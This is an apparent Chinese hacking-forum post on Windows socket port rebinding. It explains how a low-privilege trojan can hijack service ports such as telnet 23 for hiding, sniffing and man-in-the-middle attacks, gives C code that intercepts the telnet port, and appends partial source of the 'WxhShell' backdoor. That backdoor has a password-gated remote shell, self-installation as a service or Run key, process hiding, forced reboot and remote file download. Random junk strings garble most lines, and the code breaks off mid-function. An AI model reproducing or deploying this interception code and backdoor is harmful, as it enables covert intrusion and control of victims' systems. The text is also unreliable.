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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |@@mq!>-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C3b'Q  
y\S7oD(OR  
  saddr.sin_family = AF_INET; 5~44R@`  
v =?V{"wk!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FI/YJ@21  
zhCI+u4/qz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )-QNWN H  
@B'Mu:|f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W8P**ze4)  
R Nv<kw  
  这意味着什么?意味着可以进行如下的攻击: {//F>5~[  
bNaUzM!,H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6szkE{-/?  
LNN:GD)>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oOL3O@)w>  
Z~,.l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )R +o8C  
sTA/2d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =3zn Ta }  
K?;p:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '0O[d N  
eB\r/B]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "aBd0i&  
z67=v9+7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RYV6hp)|  
>=`c [=:Z_  
  #include bMUIe\/v[  
  #include  vV[dJ%  
  #include $HXB !$d  
  #include    0%qUTGj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b "Mq7&cf  
  int main() k41la?  
  { *M|\B|A.  
  WORD wVersionRequested; z8j(SI;3  
  DWORD ret; &53#`WgJ  
  WSADATA wsaData; V- cuG.  
  BOOL val; Fm;)7.% >  
  SOCKADDR_IN saddr; @\D D|o67  
  SOCKADDR_IN scaddr; kdUGmR0d  
  int err; hKTg~y^  
  SOCKET s; YT5>pM-%  
  SOCKET sc; 4'd{H Rs  
  int caddsize; #LN I&5  
  HANDLE mt; \i,cL)HM  
  DWORD tid;   rq1kj 8%2  
  wVersionRequested = MAKEWORD( 2, 2 ); HEuM"2{DMM  
  err = WSAStartup( wVersionRequested, &wsaData ); *3/7wSV:  
  if ( err != 0 ) { Hr+-ndH!Pq  
  printf("error!WSAStartup failed!\n"); VBX# !K1Q  
  return -1; `es($7}P_W  
  } [[ e| GQ  
  saddr.sin_family = AF_INET; 3opLLf_g  
   b66X])+4jE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 baNfS  
E~>6*_?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); reA8=>b/  
  saddr.sin_port = htons(23); `oMeR]~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ya{>=  
  { qp W#!Vbx  
  printf("error!socket failed!\n"); j>o +}p?3I  
  return -1; P*PL6UQ  
  } f^)uK+:.  
  val = TRUE; +2zuIW.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ib2@Wi   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KCk?)Qv  
  { S(J\<)b  
  printf("error!setsockopt failed!\n"); mei_aN7zW  
  return -1; Idlu1g  
  } | sFe:TX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |nEV Oy>'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s\W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e9W7ke E*  
` (D4gPW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '%EZoc/U  
  { d# 3tQ*G/  
  ret=GetLastError(); LO]6Xd"  
  printf("error!bind failed!\n"); ]|N4 #4  
  return -1; QklNw6,  
  } #eC;3Kq#-  
  listen(s,2); ;:c%l.Y2  
  while(1) B Z?W>'B%$  
  { aEDN]O95?  
  caddsize = sizeof(scaddr); zcB 2[eaV  
  //接受连接请求 b.4Xn0-M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \5P.C  
  if(sc!=INVALID_SOCKET) y<`?@(0$  
  { q.MVF]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xD  
  if(mt==NULL) nuQ6X5>.=  
  { $G_Q`w=jM  
  printf("Thread Creat Failed!\n"); M%{?\)s  
  break; g`OOVaB  
  } -(w~LT$ "  
  } zw: C*sY  
  CloseHandle(mt); z"K( bw6  
  } q{GSsDo-:V  
  closesocket(s); p%"yBpSK  
  WSACleanup(); ^v!im\ r  
  return 0; }E5#X R  
  }   ay(!H~q_U  
  DWORD WINAPI ClientThread(LPVOID lpParam) )E:,V~< 8  
  { Iz )hz9k  
  SOCKET ss = (SOCKET)lpParam; P/pjy  
  SOCKET sc; y5/6nvH_6  
  unsigned char buf[4096]; qijcS2E6S  
  SOCKADDR_IN saddr; (kC} ,}  
  long num; tQ~<i %;  
  DWORD val; ~g1, !Wl  
  DWORD ret; X B*}P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m*!f%}T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^$IZLM?E~  
  saddr.sin_family = AF_INET; 14D 7U/zer  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *w/WHQ`xI  
  saddr.sin_port = htons(23); /u)Rppu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :B=8_M  
  { NGD*ce"w  
  printf("error!socket failed!\n"); 0HR|aqPo  
  return -1; ck+b/.gw`  
  } qon{ g  
  val = 100; tKZ&1E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `\jTpDV_W  
  { ISS\uj63M  
  ret = GetLastError(); s8_aL)@f  
  return -1; :Sc8PLT  
  } %)axGbZG;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OB6J.dF[%  
  { Vf 0fT?/K  
  ret = GetLastError(); \C K(;J  
  return -1; JA)o@[l F  
  } o-~~,n\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nMG rG  
  { |rFR8srPG  
  printf("error!socket connect failed!\n"); -2\ZzK0tM  
  closesocket(sc); 5r4gmy>  
  closesocket(ss); l RDxIuTK  
  return -1; i_u {5 U;  
  } 2L2 VVO  
  while(1) 1n'$Ji7  
  { # SQvXMT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {y-2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1TNz&=e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tqf&N0*  
  num = recv(ss,buf,4096,0); .Z=Ce!  
  if(num>0) R zS|dGNQE  
  send(sc,buf,num,0); bar0{!Y"  
  else if(num==0) st?gA"5w  
  break; 7qg<[  
  num = recv(sc,buf,4096,0); [5Fd P0  
  if(num>0) >?5xDbRj  
  send(ss,buf,num,0); fw' r.  
  else if(num==0) jJ a V  
  break; lwOf)jK:J  
  } s>|Z7[*  
  closesocket(ss); 0e+W/Tq  
  closesocket(sc); 3;a R\:p@w  
  return 0 ; ,?g=U8y|  
  } sEce{"VC  
z2w;oM$g  
'y9*uT~  
========================================================== \sK:W|yy  
wE$s'e  
下边附上一个代码,,WXhSHELL U:]MgZWn  
AkrTfi4hC  
========================================================== ZXsYn  
1")FWN_K/T  
#include "stdafx.h" p9-0?(]  
M8';%  =@  
#include <stdio.h> G#H9g PY  
#include <string.h> !4R>O6k   
#include <windows.h> pkXv.D`  
#include <winsock2.h> 4'SaEsA~  
#include <winsvc.h> FY]pv6@  
#include <urlmon.h> 5Yi Z-CQ>  
[pii  
#pragma comment (lib, "Ws2_32.lib") 2sKG(^=Z  
#pragma comment (lib, "urlmon.lib") lhqQ CV  
XRa(sXA3  
#define MAX_USER   100 // 最大客户端连接数 pW\z\o/2  
#define BUF_SOCK   200 // sock buffer 4\M8BRuE  
#define KEY_BUFF   255 // 输入 buffer }[ ].\G\G  
!?nu?  
#define REBOOT     0   // 重启 g96T*T  
#define SHUTDOWN   1   // 关机 v&fGCD\R  
pOm@b `S%  
#define DEF_PORT   5000 // 监听端口 2;G98H  
P,i"&9 8  
#define REG_LEN     16   // 注册表键长度 G0}Dq M Ti  
#define SVC_LEN     80   // NT服务名长度 eC~ jgB  
U98_M)-%&  
// 从dll定义API y%4 Gp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P5xI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q IM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z>F@n Tzb>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .o}%~g<d  
%[w Tz$S"  
// wxhshell配置信息 o{V#f_o  
struct WSCFG { =7 VCtd/  
  int ws_port;         // 监听端口 :NuR>~  
  char ws_passstr[REG_LEN]; // 口令 d.`&0  
  int ws_autoins;       // 安装标记, 1=yes 0=no HsnG4OE  
  char ws_regname[REG_LEN]; // 注册表键名 \c{R <Hh  
  char ws_svcname[REG_LEN]; // 服务名 uPkb, :6~Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gn59 yG!4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CtM'L   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w NH9WG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^'vIOq-1v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B7 HQR{t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >uTPjR[  
[Tb\woU  
}; 3jF|Ic  
-#aZF2z   
// default Wxhshell configuration 'M8aW!~  
struct WSCFG wscfg={DEF_PORT, O)uOUB  
    "xuhuanlingzhe", EJLQ&oH[  
    1, vU!8`x)  
    "Wxhshell", :.$"kXm^  
    "Wxhshell", vX+.e1m  
            "WxhShell Service", 5`~mqqR5  
    "Wrsky Windows CmdShell Service", ?E<c[*F05  
    "Please Input Your Password: ", QH~Jy*\+PX  
  1, G>%AZr{M  
  "http://www.wrsky.com/wxhshell.exe", ?*H9-2W@  
  "Wxhshell.exe" @9 )}cg  
    }; mb\h^cKaq  
txq~+'A:+  
// 消息定义模块 G2]^F Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /s|{by`we4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :y# T9R9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R"+wih  
char *msg_ws_ext="\n\rExit."; +K^h!d]  
char *msg_ws_end="\n\rQuit."; ,r=re!QI7  
char *msg_ws_boot="\n\rReboot..."; tz4 ]hF  
char *msg_ws_poff="\n\rShutdown..."; , T\-;7  
char *msg_ws_down="\n\rSave to "; J &YQ]l  
\"x>JW4w  
char *msg_ws_err="\n\rErr!"; :CaTP%GW  
char *msg_ws_ok="\n\rOK!"; ZenPw1-  
)eYDQA>J  
char ExeFile[MAX_PATH]; ewnfeg1  
int nUser = 0; rbyY8 bX  
HANDLE handles[MAX_USER]; "MnSJ 2  
int OsIsNt; YT=eVg53  
& Kmy}q  
SERVICE_STATUS       serviceStatus; yNa;\UF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ff E#^|  
GK?4@<fY  
// 函数声明 I@\+l6&#;  
int Install(void); 5G(E&>~  
int Uninstall(void); t> . Fl-  
int DownloadFile(char *sURL, SOCKET wsh); 3b!,D  
int Boot(int flag); gnLn7?  
void HideProc(void); >A}0Ho  
int GetOsVer(void); LA4<#KP  
int Wxhshell(SOCKET wsl); ;`(R7X *3  
void TalkWithClient(void *cs); [2 zt ^  
int CmdShell(SOCKET sock); 8IGt4UF&?  
int StartFromService(void); _1|$P|$P.  
int StartWxhshell(LPSTR lpCmdLine); /L v1$~  
dMvp&M\\'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nY_?Jq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #@qN8J}R  
OeElMRU"  
// 数据结构和表定义 !aNh!  
SERVICE_TABLE_ENTRY DispatchTable[] = ONX8}Ob~  
{ i ]o"_=C  
{wscfg.ws_svcname, NTServiceMain}, W7=V{}b+  
{NULL, NULL} 2Y OKM #N]  
}; s_ bR]G  
DlTR|(AL  
// 自我安装 w? LrJ37u  
int Install(void) *:hy Y!x  
{ mfom=-q3k  
  char svExeFile[MAX_PATH]; 4(cJ^]wb^  
  HKEY key; Z4hLdHo_  
  strcpy(svExeFile,ExeFile); B4g8 ~f  
Br5o7(AE  
// 如果是win9x系统,修改注册表设为自启动 ,^$ |R32  
if(!OsIsNt) { ,gx)w^WTm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3[IJhR[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #0"~G][#  
  RegCloseKey(key); Gy"%R-j7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U \oy8FZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kV&9`c+  
  RegCloseKey(key); aeP[+I9  
  return 0; u[oUCTY  
    } h#qN+qt}  
  } OqUr9?+  
} Bv9kSu9'~  
else { F{m{d?:OA  
1|| +6bRP  
// 如果是NT以上系统,安装为系统服务 z[nS$]u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0g=`DSC<(  
if (schSCManager!=0) E167=BD9<  
{ }|wv]U~  
  SC_HANDLE schService = CreateService : c.JhE3D  
  ( q%/uQT?  
  schSCManager, oxz{ ejd{  
  wscfg.ws_svcname, kc$)^E7  
  wscfg.ws_svcdisp, +wO#'D  
  SERVICE_ALL_ACCESS, pyZ9OA!PD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~DF:lqwWP  
  SERVICE_AUTO_START, TNwK da+  
  SERVICE_ERROR_NORMAL, p(JlvJjo  
  svExeFile, c EnkU]  
  NULL, <a^Oj LLU  
  NULL, BR5BJX  
  NULL, LT@OWH  
  NULL, 1X1 N tS @  
  NULL Pm{*.AW1  
  ); T*[ VY1  
  if (schService!=0) uJU*")\V  
  { ,!#ccv+Vm%  
  CloseServiceHandle(schService); Q<(YP.k  
  CloseServiceHandle(schSCManager); e Y$qV}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Uh6 '$0  
  strcat(svExeFile,wscfg.ws_svcname); 1B=>_3_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O;9?(:_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ExBUpDQc  
  RegCloseKey(key); 8wZf ]_  
  return 0; PWr(*ZP>hI  
    } =8{WZCW5  
  } wBSQ:f]g  
  CloseServiceHandle(schSCManager); [bz T& o  
} _BM4>r?\  
} f3MRD4+-  
IE2"rQT  
return 1;  .) tSg  
} XMIbUbU k-  
~Bi_7 Q  
// 自我卸载 XGrue6 ya  
int Uninstall(void) 23\RJpKb  
{ 0&+k.Vg  
  HKEY key; S$q =;"  
'tgKe!-@  
if(!OsIsNt) { hqvE!Of  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9!',b>C6  
  RegDeleteValue(key,wscfg.ws_regname); !YL. .fb  
  RegCloseKey(key); XOP"Px@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hfWFD,  
  RegDeleteValue(key,wscfg.ws_regname); `>C<}xO  
  RegCloseKey(key); <UP m=Hb  
  return 0; 7, } $u  
  } 8IQtz2  
} feM6K!fL`  
} ZP\M9Ja  
else { hZXXBp  
=wWpP-J&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V9yl4q-bL  
if (schSCManager!=0) s ^Nw%KAv  
{ - YqYcer  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rqPo)AL  
  if (schService!=0) d*8 $>GA  
  { `r"+644  
  if(DeleteService(schService)!=0) { JuR"J1MY  
  CloseServiceHandle(schService); /^SAC%PD  
  CloseServiceHandle(schSCManager); !|hoYU>@2L  
  return 0; > et-{(G  
  } =ac_,]z  
  CloseServiceHandle(schService); tC?=E#3 V  
  } 82{&# Vc  
  CloseServiceHandle(schSCManager); 5 |0,X<&  
} MM_k ]-7  
} C*=Xk/0  
_9 .(a  
return 1; r|Z3$J{^"  
} `:8J46or  
!LMN[3M_  
// 从指定url下载文件 Dr&('RZ4  
int DownloadFile(char *sURL, SOCKET wsh) 1@48BN8cm'  
{ \*hrW(   
  HRESULT hr; {Bs~lC$  
char seps[]= "/"; v4,h&JLt  
char *token; ?lGG|9J\  
char *file; F_iXd/  
char myURL[MAX_PATH]; -&x2&WE'  
char myFILE[MAX_PATH]; 1/1Xk,E  
'VyM{:8  
strcpy(myURL,sURL); Bs+(L [Z  
  token=strtok(myURL,seps); h` U?1xS  
  while(token!=NULL) - O98pi  
  { >2$5eI  
    file=token; *K!|@h{60  
  token=strtok(NULL,seps); /n~\\9#3  
  } -C-?`R  
n9w9JXp;!  
GetCurrentDirectory(MAX_PATH,myFILE); `+'rib5  
strcat(myFILE, "\\"); x9/H/'  
strcat(myFILE, file); iXu]e;6  
  send(wsh,myFILE,strlen(myFILE),0); RpWTpT1  
send(wsh,"...",3,0); ZRxZume<f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 00I}o%akO  
  if(hr==S_OK) Ars687WB  
return 0; s4Sd>D 7  
else KH)D 08  
return 1; oVA?J%EK  
N7'OPTKt&  
} Ds #/  
k Iw`P[  
// 系统电源模块 )[H{yQ  
int Boot(int flag) OaJB=J%  
{ _It,%<3  
  HANDLE hToken; _\Q^x)w6  
  TOKEN_PRIVILEGES tkp; t"hYcnC  
\P} p5k[  
  if(OsIsNt) { H1<>NWm!v7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3~,d+P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h~&gIub  
    tkp.PrivilegeCount = 1; UDhG :  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =9oP owq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0q>P~] Ow  
if(flag==REBOOT) { D']ZlB 'K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bwVPtu`  
  return 0; bfB\h*XO  
} EXP%Mk/  
else { R1nJUOE4w^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]{"Br$  
  return 0; LmlXMia  
} E$W{8?:{  
  } w%WF-:u7|  
  else { }X x(^Zh  
if(flag==REBOOT) { A(?\>X 9g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1(|D'y#  
  return 0; IG(?xf\C  
} 4&8Gr0C  
else { P\8@g U!uk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FX9F"42@  
  return 0; SH*C"  
} aQI^^$9g  
} 2*(Z==XC7  
u@ jX+\  
return 1; W_m"ySQs  
} g{W;I_P^9  
[SJ6@q  
// win9x进程隐藏模块 R@Gq)P9?  
void HideProc(void) &] \X]p  
{ ~/mw x8~  
T+N|R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [M.f-x:  
  if ( hKernel != NULL ) k >t )g-,2  
  { (`SRJ$~f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); USFD y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )o\jJrVDf  
    FreeLibrary(hKernel); 'V8N  
  } +?p.?I  
>iS`pb  
return; Yvn\x ph3  
} +C1QY'>I  
{]"]uT#  
// 获取操作系统版本 Pnd `=%w%]  
int GetOsVer(void) f;}EhG'  
{ !"e5~7  
  OSVERSIONINFO winfo; \~LQ%OM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dt~YW  
  GetVersionEx(&winfo); ZeG_en ;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m*$|GW9  
  return 1; ]f]<4HD=i  
  else 8/0Y vh  
  return 0; Ed9Z9  
} }I@L}f5N  
)DYI .  
// 客户端句柄模块 "t^URp3  
int Wxhshell(SOCKET wsl) b;)~wU=  
{ %0? M?Jf  
  SOCKET wsh; e</$ s  
  struct sockaddr_in client; oI^4pwnh  
  DWORD myID; VCtH%v#S;.  
BTM), w2  
  while(nUser<MAX_USER) C7H/N<VAq  
{ DJP2IP  
  int nSize=sizeof(client);  [ `]4P&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $9S(_xdI&  
  if(wsh==INVALID_SOCKET) return 1; %cE 2s`  
^<LY4^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R\XKMF3mN3  
if(handles[nUser]==0) ='TE,et@d  
  closesocket(wsh); 6sa"O89   
else ~G27;Npy  
  nUser++; Z}|(F RVk  
  } %*#n d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;<0LXYL;  
0%) i<a!_Z  
  return 0; ~4?9a(>3  
} V138d?Mm  
Z3!f^vAi&  
// 关闭 socket bFA!=uvA  
void CloseIt(SOCKET wsh) LN_xq&.  
{ 7Sz?S_N/j  
closesocket(wsh); z&V+#Ws/  
nUser--; #GJ dZ  
ExitThread(0); E*?<KZe"  
} \6;=$f/?t  
L28*1]\Jh  
// 客户端请求句柄 ;Jd3u -  
void TalkWithClient(void *cs) 6\61~u~  
{ o !4!"O'E  
lY*[tmz)  
  SOCKET wsh=(SOCKET)cs; UX]L;kI  
  char pwd[SVC_LEN]; +:3*  
  char cmd[KEY_BUFF]; \;rYo.+  
char chr[1]; ;(}V"i7Hu  
int i,j; 5wUUx#  
?8W( "W   
  while (nUser < MAX_USER) { t<n"-Tqu  
.(Qx{r$  
if(wscfg.ws_passstr) { ,RN:^5 p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k1VT /u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (|wz7 AY2  
  //ZeroMemory(pwd,KEY_BUFF); .'a&3 3J  
      i=0; G|\^{ 5   
  while(i<SVC_LEN) { 5XLs} :  
b,KcBQ.  
  // 设置超时 xG;-bJu  
  fd_set FdRead; D/h/Y) Y  
  struct timeval TimeOut; Jjl`_X$CB  
  FD_ZERO(&FdRead); )Fb>8<%  
  FD_SET(wsh,&FdRead); /*|oL# hK  
  TimeOut.tv_sec=8; ~{}#)gGU  
  TimeOut.tv_usec=0; Y<0 4RV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xnE|Umz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HNL42\Kz!  
f{0F|w< gf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V] Et wA  
  pwd=chr[0]; 5s?Hxn  
  if(chr[0]==0xd || chr[0]==0xa) { _{jjgQJ5  
  pwd=0; "`asF g  
  break; 1He{v#  
  } fL]Pztsk+  
  i++; l|5fE1K9U  
    } ;\MW$/[JCy  
Hi]cxD*`  
  // 如果是非法用户,关闭 socket % >;#9"O4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XR!us/U`a  
} n<B<93f/  
/pp1~r.s?>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j1 =`|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cwV]!=RtO  
UJs$q\#RO  
while(1) {  JMdPwI  
r < cVp^  
  ZeroMemory(cmd,KEY_BUFF); 3Tq\BZ  
WMMO5_M z  
      // 自动支持客户端 telnet标准   Y?534l)j  
  j=0; Mc!Xf[  
  while(j<KEY_BUFF) { ,C {*s$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,sGZ2=M}J  
  cmd[j]=chr[0]; FYS/##r  
  if(chr[0]==0xa || chr[0]==0xd) { upvS|KUil  
  cmd[j]=0; -R>}u'EG>  
  break; moVbw`T  
  } P=1I<Pew  
  j++; J9T3nTfL  
    } s}j1"@  
7OW bAu;  
  // 下载文件 =+w*gDr  
  if(strstr(cmd,"http://")) { ;L&TxO>#J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E\m5%bK\B  
  if(DownloadFile(cmd,wsh)) M,}|tsL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .@Ut?G  
  else -YD+(c`l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lO:. OZu  
  } jp' K%P  
  else {  lWm'  
7hy&-<  
    switch(cmd[0]) { rxO2QQ%V  
  fSDi- I  
  // 帮助 ~:km]?lz0  
  case '?': { e?bYjJ q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 76.{0 c  
    break; +h_ !0dG  
  } U:F/ iXz  
  // 安装 >yJ9U,Y  
  case 'i': { dz>;<&2Z  
    if(Install()) a}SdW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PA w-6;  
    else ,<DB&&EV8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (z$r:p  
    break; ~ d^<_R  
    } ;6 +}z~  
  // 卸载 Q!,<@b)  
  case 'r': { ?OdJqw0,G  
    if(Uninstall()) ceGa([#!\_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e4FM} z[  
    else #y|V|nd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lt$zA%`odc  
    break; -G,^1AL>  
    } >!6i3E^  
  // 显示 wxhshell 所在路径 V 0nn4dVO  
  case 'p': { 2k6 X,  
    char svExeFile[MAX_PATH]; 1+`l7'F  
    strcpy(svExeFile,"\n\r"); ^w~23g.  
      strcat(svExeFile,ExeFile); qz4^{  
        send(wsh,svExeFile,strlen(svExeFile),0); CXtU"X  
    break; t?nX=i*~]  
    } LflFe@2  
  // 重启 <\zCpkZ'B  
  case 'b': { D}3XFuZs_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6a}"6d/sTL  
    if(Boot(REBOOT)) $>U # W:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9dh >l!2  
    else { (J"T]-[  
    closesocket(wsh); KNgH|5Pb  
    ExitThread(0); EliTFxp  
    } Cc?TSZ8[  
    break; clI*7j.4E#  
    } g fU-"VpHE  
  // 关机 Ff^@~X+W<  
  case 'd': { p#f+P?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AGA`fRVx  
